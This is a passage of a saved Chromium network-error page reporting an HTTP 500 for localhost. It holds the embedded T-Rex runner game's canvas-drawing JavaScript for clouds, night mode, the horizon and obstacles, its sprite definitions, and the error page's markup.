      this.xPos = this.spriteConfig.FIXED_X_POS;
    }
    this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
        this.spriteConfig.OFFSET;
    this.draw();
  },

  /**
   * Draw the element.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = this.spriteConfig.WIDTH;
    let sourceHeight = this.spriteConfig.HEIGHT;
    let sourceX = this.spriteConfig.X_POS;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;

    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    this.canvasCtx.drawImage(
        Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
        sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the background element position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      if (this.spriteConfig.FIXED) {
        this.animTimer += speed;
        if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
          this.animTimer = 0;
          this.switchFrames = !this.switchFrames;
        }

        if (this.spriteConfig.FIXED_Y_POS_1 &&
            this.spriteConfig.FIXED_Y_POS_2) {
          this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
                                          this.spriteConfig.FIXED_Y_POS_2;
        }
      } else {
        // Fixed speed, regardless of actual game speed.
        this.xPos -= BackgroundEl.config.SPEED;
      }
      this.draw();

      // Mark as removable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the element is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + this.spriteConfig.WIDTH > 0;
  },
};



//******************************************************************************

/**
 * Nightmode shows a moon and stars on the horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {number} spritePos
 * @param {number} containerWidth
 * @constructor
 */
function NightMode(canvas, spritePos, containerWidth) {
  this.spritePos = spritePos;
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.xPos = containerWidth - 50;
  this.yPos = 30;
  this.currentPhase = 0;
  this.opacity = 0;
  this.containerWidth = containerWidth;
  this.stars = [];
  this.drawStars = false;
  this.placeStars();
}

/**
 * @enum {number}
 */
NightMode.config = {
  FADE_SPEED: 0.035,
  HEIGHT: 40,
  MOON_SPEED: 0.25,
  NUM_STARS: 2,
  STAR_SIZE: 9,
  STAR_SPEED: 0.3,
  STAR_MAX_Y: 70,
  WIDTH: 20,
};

NightMode.phases = [140, 120, 100, 60, 40, 20, 0];

NightMode.prototype = {
  /**
   * Update moving moon, changing phases.
   * @param {boolean} activated Whether night mode is activated.
   */
  update(activated) {
    // Moon phase.
    if (activated && this.opacity === 0) {
      this.currentPhase++;

      if (this.currentPhase >= NightMode.phases.length) {
        this.currentPhase = 0;
      }
    }

    // Fade in / out.
    if (activated && (this.opacity < 1 || this.opacity === 0)) {
      this.opacity += NightMode.config.FADE_SPEED;
    } else if (this.opacity > 0) {
      this.opacity -= NightMode.config.FADE_SPEED;
    }

    // Set moon positioning.
    if (this.opacity > 0) {
      this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);

      // Update stars.
      if (this.drawStars) {
        for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
          this.stars[i].x =
              this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
        }
      }
      this.draw();
    } else {
      this.opacity = 0;
      this.placeStars();
    }
    this.drawStars = true;
  },

  updateXPos(currentPos, speed) {
    if (currentPos < -NightMode.config.WIDTH) {
      currentPos = this.containerWidth;
    } else {
      currentPos -= speed;
    }
    return currentPos;
  },

  draw() {
    let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
                                                    NightMode.config.WIDTH;
    let moonSourceHeight = NightMode.config.HEIGHT;
    let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
    const moonOutputWidth = moonSourceWidth;
    let starSize = NightMode.config.STAR_SIZE;
    let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;

    if (IS_HIDPI) {
      moonSourceWidth *= 2;
      moonSourceHeight *= 2;
      moonSourceX = this.spritePos.x +
          (NightMode.phases[this.currentPhase] * 2);
      starSize *= 2;
      starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
    }

    this.canvasCtx.save();
    this.canvasCtx.globalAlpha = this.opacity;

    // Stars.
    if (this.drawStars) {
      for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
        this.canvasCtx.drawImage(
            Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
            starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
            NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
      }
    }

    // Moon.
    this.canvasCtx.drawImage(
        Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
        moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
        NightMode.config.HEIGHT);

    this.canvasCtx.globalAlpha = 1;
    this.canvasCtx.restore();
  },

  // Do star placement.
  placeStars() {
    const segmentSize = Math.round(this.containerWidth /
        NightMode.config.NUM_STARS);

    for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
      this.stars[i] = {};
      this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
      this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);

      if (IS_HIDPI) {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.HDPI.STAR.y +
            NightMode.config.STAR_SIZE * 2 * i;
      } else {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.LDPI.STAR.y +
            NightMode.config.STAR_SIZE * i;
      }
    }
  },

  reset() {
    this.currentPhase = 0;
    this.opacity = 0;
    this.update(false);
  },

};


//******************************************************************************

/**
 * Horizon Line.
 * Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} lineConfig Configuration object.
 * @constructor
 */
function HorizonLine(canvas, lineConfig) {
  let sourceX = lineConfig.SOURCE_X;
  let sourceY = lineConfig.SOURCE_Y;

  if (IS_HIDPI) {
    sourceX *= 2;
    sourceY *= 2;
  }

  this.spritePos = {x: sourceX, y: sourceY};
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.sourceDimensions = {};
  this.dimensions = lineConfig;

  this.sourceXPos = [this.spritePos.x, this.spritePos.x +
      this.dimensions.WIDTH];
  this.xPos = [];
  this.yPos = 0;
  this.bumpThreshold = 0.5;

  this.setSourceDimensions(lineConfig);
  this.draw();
}


/**
 * Horizon line dimensions.
 * @enum {number}
 */
HorizonLine.dimensions = {
  WIDTH: 600,
  HEIGHT: 12,
  YPOS: 127,
};


HorizonLine.prototype = {
  /**
   * Set the source dimensions of the horizon line.
   */
  setSourceDimensions(newDimensions) {
    for (const dimension in newDimensions) {
      if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
        if (IS_HIDPI) {
          if (dimension !== 'YPOS') {
            this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
          }
        } else {
          this.sourceDimensions[dimension] = newDimensions[dimension];
        }
        this.dimensions[dimension] = newDimensions[dimension];
      }
    }

    this.xPos = [0, newDimensions.WIDTH];
    this.yPos = newDimensions.YPOS;
  },

  /**
   * Return the crop x position of a type.
   */
  getRandomType() {
    return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
  },

  /**
   * Draw the horizon line.
   */
  draw() {
    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[0], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);

    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[1], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);
  },

  /**
   * Update the x position of an indivdual piece of the line.
   * @param {number} pos Line position.
   * @param {number} increment
   */
  updateXPos(pos, increment) {
    const line1 = pos;
    const line2 = pos === 0 ? 1 : 0;

    this.xPos[line1] -= increment;
    this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;

    if (this.xPos[line1] <= -this.dimensions.WIDTH) {
      this.xPos[line1] += this.dimensions.WIDTH * 2;
      this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
      this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
    }
  },

  /**
   * Update the horizon line.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    const increment = Math.floor(speed * (FPS / 1000) * deltaTime);

    if (this.xPos[0] <= 0) {
      this.updateXPos(0, increment);
    } else {
      this.updateXPos(1, increment);
    }
    this.draw();
  },

  /**
   * Reset horizon to the starting position.
   */
  reset() {
    this.xPos[0] = 0;
    this.xPos[1] = this.dimensions.WIDTH;
  },
};


//******************************************************************************

/**
 * Horizon background class.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Sprite positioning.
 * @param {Object} dimensions Canvas dimensions.
 * @param {number} gapCoefficient
 * @constructor
 */
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.config = Horizon.config;
  this.dimensions = dimensions;
  this.gapCoefficient = gapCoefficient;
  this.obstacles = [];
  this.obstacleHistory = [];
  this.horizonOffsets = [0, 0];
  this.cloudFrequency = this.config.CLOUD_FREQUENCY;
  this.spritePos = spritePos;
  this.nightMode = null;
  this.altGameModeActive = false;

  // Cloud
  this.clouds = [];
  this.cloudSpeed = this.config.BG_CLOUD_SPEED;

  // Background elements
  this.backgroundEls = [];
  this.lastEl = null;
  this.backgroundSpeed = this.config.BG_CLOUD_SPEED;

  // Horizon
  this.horizonLine = null;
  this.horizonLines = [];
  this.init();
}


/**
 * Horizon config.
 * @enum {number}
 */
Horizon.config = {
  BG_CLOUD_SPEED: 0.2,
  BUMPY_THRESHOLD: .3,
  CLOUD_FREQUENCY: .5,
  HORIZON_HEIGHT: 16,
  MAX_CLOUDS: 6,
};


Horizon.prototype = {
  /**
   * Initialise the horizon. Just add the line and a cloud. No obstacles.
   */
  init() {
    Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
    this.addCloud();
    // Multiple Horizon lines
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }

    this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
        this.dimensions.WIDTH);
  },

  /**
   * Update obstacle definitions based on the speed of the game.
   */
  adjustObstacleSpeed: function() {
    for (let i = 0; i < Obstacle.types.length; i++) {
      if (Runner.slowDown) {
        Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
        Obstacle.types[i].minGap *= 1.5;
        Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;

        // Convert variable y position obstacles to fixed.
        if (typeof (Obstacle.types[i].yPos) == 'object') {
          Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
          Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
        }
      }
    }
  },

  /**
   * Update sprites to correspond to change in sprite sheet.
   * @param {number} spritePos
   */
  enableAltGameMode: function(spritePos) {
    // Clear existing horizon objects.
    this.clouds = [];
    this.backgroundEls = [];

    this.altGameModeActive = true;
    this.spritePos = spritePos;

    Obstacle.types = Runner.spriteDefinition.OBSTACLES;
    this.adjustObstacleSpeed();

    Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
    Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;

    BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;

    this.horizonLines = [];
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }
    this.reset();
  },

  /**
   * @param {number} deltaTime
   * @param {number} currentSpeed
   * @param {boolean} updateObstacles Used as an override to prevent
   *     the obstacles from being updated / added. This happens in the
   *     ease in section.
   * @param {boolean} showNightMode Night mode activated.
   */
  update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
    this.runningTime += deltaTime;

    if (this.altGameModeActive) {
      this.updateBackgroundEls(deltaTime, currentSpeed);
    }

    for (let i = 0; i < this.horizonLines.length; i++) {
      this.horizonLines[i].update(deltaTime, currentSpeed);
    }

    if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
      this.nightMode.update(showNightMode);
      this.updateClouds(deltaTime, currentSpeed);
    }

    if (updateObstacles) {
      this.updateObstacles(deltaTime, currentSpeed);
    }
  },

  /**
   * Update background element positions. Also handles creating new elements.
   * @param {number} elSpeed
   * @param {Array<Object>} bgElArray
   * @param {number} maxBgEl
   * @param {Function} bgElAddFunction
   * @param {number} frequency
   */
  updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
    const numElements = bgElArray.length;

    if (numElements) {
      for (let i = numElements - 1; i >= 0; i--) {
        bgElArray[i].update(elSpeed);
      }

      const lastEl = bgElArray[numElements - 1];

      // Check for adding a new element.
      if (numElements < maxBgEl &&
          (this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
          frequency > Math.random()) {
        bgElAddFunction();
      }
    } else {
      bgElAddFunction();
    }
  },

  /**
   * Update the cloud positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateClouds(deltaTime, speed) {
    const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
    this.updateBackgroundEl(
        elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
        this.cloudFrequency);

    // Remove expired elements.
    this.clouds = this.clouds.filter((obj) => !obj.remove);
  },

  /**
   * Update the background element positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateBackgroundEls(deltaTime, speed) {
    this.updateBackgroundEl(
        deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
        this.addBackgroundEl.bind(this), this.cloudFrequency);

    // Remove expired elements.
    this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
  },

  /**
   * Update the obstacle positions.
   * @param {number} deltaTime
   * @param {number} currentSpeed
   */
  updateObstacles(deltaTime, currentSpeed) {
    const updatedObstacles = this.obstacles.slice(0);

    for (let i = 0; i < this.obstacles.length; i++) {
      const obstacle = this.obstacles[i];
      obstacle.update(deltaTime, currentSpeed);

      // Clean up existing obstacles.
      if (obstacle.remove) {
        updatedObstacles.shift();
      }
    }
    this.obstacles = updatedObstacles;

    if (this.obstacles.length > 0) {
      const lastObstacle = this.obstacles[this.obstacles.length - 1];

      if (lastObstacle && !lastObstacle.followingObstacleCreated &&
          lastObstacle.isVisible() &&
          (lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
          this.dimensions.WIDTH) {
        this.addNewObstacle(currentSpeed);
        lastObstacle.followingObstacleCreated = true;
      }
    } else {
      // Create new obstacles.
      this.addNewObstacle(currentSpeed);
    }
  },

  removeFirstObstacle() {
    this.obstacles.shift();
  },

  /**
   * Add a new obstacle.
   * @param {number} currentSpeed
   */
  addNewObstacle(currentSpeed) {
    const obstacleCount =
        Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
            (Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
             this.altGameModeActive) ?
        Obstacle.types.length - 1 :
        Obstacle.types.length - 2;
    const obstacleTypeIndex =
        obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
    const obstacleType = Obstacle.types[obstacleTypeIndex];

    // Check for multiples of the same type of obstacle.
    // Also check obstacle is available at current speed.
    if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
        currentSpeed < obstacleType.minSpeed) {
      this.addNewObstacle(currentSpeed);
    } else {
      const obstacleSpritePos = this.spritePos[obstacleType.type];

      this.obstacles.push(new Obstacle(
          this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
          this.gapCoefficient, currentSpeed, obstacleType.width,
          this.altGameModeActive));

      this.obstacleHistory.unshift(obstacleType.type);

      if (this.obstacleHistory.length > 1) {
        this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
      }
    }
  },

  /**
   * Returns whether the previous two obstacles are the same as the next one.
   * Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
   * @return {boolean}
   */
  duplicateObstacleCheck(nextObstacleType) {
    let duplicateCount = 0;

    for (let i = 0; i < this.obstacleHistory.length; i++) {
      duplicateCount =
          this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
    }
    return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
  },

  /**
   * Reset the horizon layer.
   * Remove existing obstacles and reposition the horizon line.
   */
  reset() {
    this.obstacles = [];
    for (let l = 0; l < this.horizonLines.length; l++) {
      this.horizonLines[l].reset();
    }

    this.nightMode.reset();
  },

  /**
   * Update the canvas width and scaling.
   * @param {number} width Canvas width.
   * @param {number} height Canvas height.
   */
  resize(width, height) {
    this.canvas.width = width;
    this.canvas.height = height;
  },

  /**
   * Add a new cloud to the horizon.
   */
  addCloud() {
    this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
        this.dimensions.WIDTH));
  },

  /**
   * Add a random background element to the horizon.
   */
  addBackgroundEl() {
    const backgroundElTypes =
        Object.keys(Runner.spriteDefinition.BACKGROUND_EL);

    if (backgroundElTypes.length > 0) {
      let index = getRandomNum(0, backgroundElTypes.length - 1);
      let type = backgroundElTypes[index];

      // Add variation if available.
      while (type == this.lastEl && backgroundElTypes.length > 1) {
        index = getRandomNum(0, backgroundElTypes.length - 1);
        type = backgroundElTypes[index];
      }

      this.lastEl = type;
      this.backgroundEls.push(new BackgroundEl(
          this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
          type));
    }
  },
};
</script>
  <script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/* @const
 * Add matching sprite definition and config to Runner.spriteDefinitionByType.
 */
const GAME_TYPE = [];

/**
 * Obstacle definitions.
 * minGap: minimum pixel space between obstacles.
 * multipleSpeed: Speed at which multiples are allowed.
 * speedOffset: speed faster / slower than the horizon.
 * minSpeed: Minimum speed which the obstacle can make an appearance.
 *
 * @typedef {{
 *   type: string,
 *   width: number,
 *   height: number,
 *   yPos: number,
 *   multipleSpeed: number,
 *   minGap: number,
 *   minSpeed: number,
 *   collisionBoxes: Array<CollisionBox>,
 * }}
 */
let ObstacleType;

/**
 * T-Rex runner sprite definitions.
 */
Runner.spriteDefinitionByType = {
  original: {
    LDPI: {
      BACKGROUND_EL: {x: 86, y: 2},
      CACTUS_LARGE: {x: 332, y: 2},
      CACTUS_SMALL: {x: 228, y: 2},
      OBSTACLE_2: {x: 332, y: 2},
      OBSTACLE: {x: 228, y: 2},
      CLOUD: {x: 86, y: 2},
      HORIZON: {x: 2, y: 54},
      MOON: {x: 484, y: 2},
      PTERODACTYL: {x: 134, y: 2},
      RESTART: {x: 2, y: 68},
      TEXT_SPRITE: {x: 655, y: 2},
      TREX: {x: 848, y: 2},
      STAR: {x: 645, y: 2},
      COLLECTABLE: {x: 2, y: 2},
      ALT_GAME_END: {x: 121, y: 2},
    },
    HDPI: {
      BACKGROUND_EL: {x: 166, y: 2},
      CACTUS_LARGE: {x: 652, y: 2},
      CACTUS_SMALL: {x: 446, y: 2},
      OBSTACLE_2: {x: 652, y: 2},
      OBSTACLE: {x: 446, y: 2},
      CLOUD: {x: 166, y: 2},
      HORIZON: {x: 2, y: 104},
      MOON: {x: 954, y: 2},
      PTERODACTYL: {x: 260, y: 2},
      RESTART: {x: 2, y: 130},
      TEXT_SPRITE: {x: 1294, y: 2},
      TREX: {x: 1678, y: 2},
      STAR: {x: 1276, y: 2},
      COLLECTABLE: {x: 4, y: 4},
      ALT_GAME_END: {x: 242, y: 4},
    },
    MAX_GAP_COEFFICIENT: 1.5,
    MAX_OBSTACLE_LENGTH: 3,
    HAS_CLOUDS: 1,
    BOTTOM_PAD: 10,
    TREX: {
      WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
      WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
      RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
      RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
      JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
      CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
      COLLISION_BOXES: [
        new CollisionBox(22, 0, 17, 16),
        new CollisionBox(1, 18, 30, 9),
        new CollisionBox(10, 35, 14, 8),
        new CollisionBox(1, 24, 29, 5),
        new CollisionBox(5, 30, 21, 4),
        new CollisionBox(9, 34, 15, 4),
      ],
    },
    /** @type {Array<ObstacleType>} */
    OBSTACLES: [
      {
        type: 'CACTUS_SMALL',
        width: 17,
        height: 35,
        yPos: 105,
        multipleSpeed: 4,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 7, 5, 27),
          new CollisionBox(4, 0, 6, 34),
          new CollisionBox(10, 4, 7, 14),
        ],
      },
      {
        type: 'CACTUS_LARGE',
        width: 25,
        height: 50,
        yPos: 90,
        multipleSpeed: 7,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 12, 7, 38),
          new CollisionBox(8, 0, 7, 49),
          new CollisionBox(13, 10, 10, 38),
        ],
      },
      {
        type: 'PTERODACTYL',
        width: 46,
        height: 40,
        yPos: [100, 75, 50],    // Variable height.
        yPosMobile: [100, 50],  // Variable height mobile.
        multipleSpeed: 999,
        minSpeed: 8.5,
        minGap: 150,
        collisionBoxes: [
          new CollisionBox(15, 15, 16, 5),
          new CollisionBox(18, 21, 24, 6),
          new CollisionBox(2, 14, 4, 3),
          new CollisionBox(6, 10, 4, 7),
          new CollisionBox(10, 8, 6, 9),
        ],
        numFrames: 2,
        frameRate: 1000 / 6,
        speedOffset: .8,
      },
    ],
    BACKGROUND_EL: {
      'CLOUD': {
        HEIGHT: 14,
        MAX_CLOUD_GAP: 400,
        MAX_SKY_LEVEL: 30,
        MIN_CLOUD_GAP: 100,
        MIN_SKY_LEVEL: 71,
        OFFSET: 4,
        WIDTH: 46,
        X_POS: 1,
        Y_POS: 120,
      },
    },
    BACKGROUND_EL_CONFIG: {
      MAX_BG_ELS: 1,
      MAX_GAP: 400,
      MIN_GAP: 100,
      POS: 0,
      SPEED: 0.5,
      Y_POS: 125,
    },
    LINES: [
      {SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
    ],
  },
};
</script>
  
</head>
<body id="t" class="neterror" style="font-family: &quot;sans&quot;, Arial, sans-serif; font-size: 75%" jstcache="0">
  <div id="main-frame-error" class="interstitial-wrapper" jstcache="0">
    <div id="main-content" jstcache="0">
      <div class="icon icon-generic" jstcache="0"></div>
      <div id="main-message" jstcache="0">
        <h1 jstcache="0">
          <span jsselect="heading" jsvalues=".innerHTML:msg" jstcache="9">This page isn’t working</span>
          <a id="error-information-button" class="hidden" onclick="toggleErrorInformationPopup();" jstcache="0"></a>
        </h1>
        <p jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</p>
        <!--The suggestion list and error code are normally presented inline,
          in which case error-information-popup-* divs have no effect. When
          error-information-popup-container has the use-popup-container class, this
          information is provided in a popup instead.-->
        <div id="error-information-popup-container" jstcache="0">
          <div id="error-information-popup" jstcache="0">
            <div id="error-information-popup-box" jstcache="0">
              <div id="error-information-popup-content" jstcache="0">
                <div id="suggestions-list" style="display:none" jsdisplay="(suggestionsSummaryList &amp;&amp; suggestionsSummaryList.length)" jstcache="16">
                  <p jsvalues=".innerHTML:suggestionsSummaryListHeader" jstcache="18"></p>
                  <ul jsvalues=".className:suggestionsSummaryList.length == 1 ? 'single-suggestion' : ''" jstcache="19">
                    <li jsselect="suggestionsSummaryList" jsvalues=".innerHTML:summary" jstcache="21"></li>
                  </ul>
                </div>
                <div class="error-code" jscontent="errorCode" jstcache="17">HTTP ERROR 500</div>
                <p id="error-information-popup-close" jstcache="0">
                  <a class="link-button" jscontent="closeDescriptionPopup" onclick="toggleErrorInformationPopup();" jstcache="20">null</a>
                </p>
              </div>
            </div>
          </div>
        </div>
        <div id="download-links-wrapper" class="hidden" jstcache="0">
          <div id="download-link-wrapper" jstcache="0">
            <a id="download-link" class="link-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
            </a>
          </div>
          <div id="download-link-clicked-wrapper" class="hidden" jstcache="0">
            <div id="download-link-clicked" class="link-button" jsselect="downloadButton" jscontent="disabledMsg" jstcache="11" style="display: none;">
            </div>
          </div>
        </div>
        <div id="save-page-for-later-button" class="hidden" jstcache="0">
          <a class="link-button" onclick="savePageLaterClick()" jsselect="savePageLater" jscontent="savePageMsg" jstcache="10" style="display: none;">
          </a>
        </div>
        <div id="cancel-save-page-button" class="hidden" onclick="cancelSavePageClick()" jsselect="savePageLater" jsvalues=".innerHTML:cancelMsg" jstcache="4" style="display: none;">
        </div>
        <div id="offline-content-list" class="list-hidden" hidden="" jstcache="0">
          <div id="offline-content-list-visibility-card" onclick="toggleOfflineContentListVisibility(true)" jstcache="0">
            <div id="offline-content-list-title" jsselect="offlineContentList" jscontent="title" jstcache="12" style="display: none;">
            </div>
            <div jstcache="0">
              <div id="offline-content-list-show-text" jsselect="offlineContentList" jscontent="showText" jstcache="14" style="display: none;">
              </div>
              <div id="offline-content-list-hide-text" jsselect="offlineContentList" jscontent="hideText" jstcache="15" style="display: none;">
              </div>
            </div>
          </div>
          <div id="offline-content-suggestions" jstcache="0"></div>
          <div id="offline-content-list-action" jstcache="0">
            <a class="link-button" onclick="launchDownloadsPage()" jsselect="offlineContentList" jscontent="actionText" jstcache="13" style="display: none;">
            </a>
          </div>
        </div>
      </div>
    </div>
    <div id="buttons" class="nav-wrapper suggested-right" jstcache="0">
      <div id="control-buttons" jstcache="0">
        <button id="reload-button" class="blue-button text-button" onclick="reloadButtonClick(this.url);" jsselect="reloadButton" jsvalues=".url:reloadUrl" jscontent="msg" jstcache="5">Reload</button>
        <button id="download-button" class="blue-button text-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
        </button>
      </div>
      <button id="details-button" class="secondary-button text-button small-link" onclick="detailsButtonClick(); toggleHelpBox()" jscontent="details" jsdisplay="(suggestionsDetails &amp;&amp; suggestionsDetails.length > 0) || diagnose" jsvalues=".detailsText:details; .hideDetailsText:hideDetails;" jstcache="2" style="display: none;"></button>
    </div>
    <div id="details" class="hidden" jstcache="0">
      <div class="suggestions" jsselect="suggestionsDetails" jstcache="3" jsinstance="*0" style="display: none;">
        <div class="suggestion-header" jsvalues=".innerHTML:header" jstcache="7"></div>
        <div class="suggestion-body" jsvalues=".innerHTML:body" jstcache="8"></div>
      </div>
    </div>
  </div>
  <div id="sub-frame-error" jstcache="0">
    <!-- Show details when hovering over the icon, in case the details are
         hidden because they're too large. -->
    <div class="icon" jstcache="0"></div>
    <div id="sub-frame-error-details" jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</div>
  </div>

  <div id="offline-resources" jstcache="0">
    <img id="offline-resources-1x" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABNEAAABkBAMAAABayruYAAAAJFBMVEUAAADa2tr/////9/e6urpTU1O5ubn39/f///9ZWVlfX1/z8/O/OctmAAAACXRSTlMA//////////ZO3iNwAAALPElEQVR4AezdwY6bShMF4GP6krX9Bqgk9kiI/SzyAAir9lnlFfL6N26OWhXckDae9mClj/L7L1czMMbfbYDMOCgpKSkpwelyRmIEd6mEhTQpDabvu1C7vsf2ALM6cLlctquVtq2YDwC1jrfHEVDV8fagvln7p7XOlUKVi9SKWrncY5GQnN0DhLuZ1HZJa7WZPemU0GCc6hUMBtVue4BZHeD3v1caTn9KIyiPSimIvjw8SqtDVaQlvKrT2e91JEVUsEilOtGTNkkNUglWnFLX1oDrWSwGSOZ8V91CRczFDnBkWVEaKG0WBISZDPOTeeD2MIZK/Sz4YESUkbxdRhlkTXTrJ74d+aQ1bFRPSRvYjUuLmLOKmNjIch3/fQesGygrHW/SyO2WWzWmSyvSHjpVE1WJSWsIqwJk0agmSmsb39gnzbGKSaOXyJTGKmFSA6vvv/Nh3NQaDpyjPWaCp22mt0+ahkj+LlTzU4tu3Ujjrt4nrZoIq20qlT8brW/4k7S5sQGq73ZJO+M5aawjc5pHRmmYLxMozY/64llp8oAeeaQrMWkir5EGnSPLg8aZ6OaIrJ3n8WsX0lptPCy5ldOiYaT5xro0p9cEaa7nAENd99DOrEzIK0btxOrDSKMl0JeyCgugtr2DSWunmDR2Xy7tdF7c7MgmrfmLNDa7LWmOX9pllzbSDac0UBqrpTQOHOboeQBpIWJOjU3Oq8dItu+pNZRWLaWFBg+nnyBt6FhxIMIrVGxfFqGujcuDj/lkf6S0EeYC9E5aGDiUtAMcPUNkMZ8xl/Oj0qqJ0tomSFs2xDfkaWlOr1FpZzwrzU5qP3jn1px/qeroQUGVDyR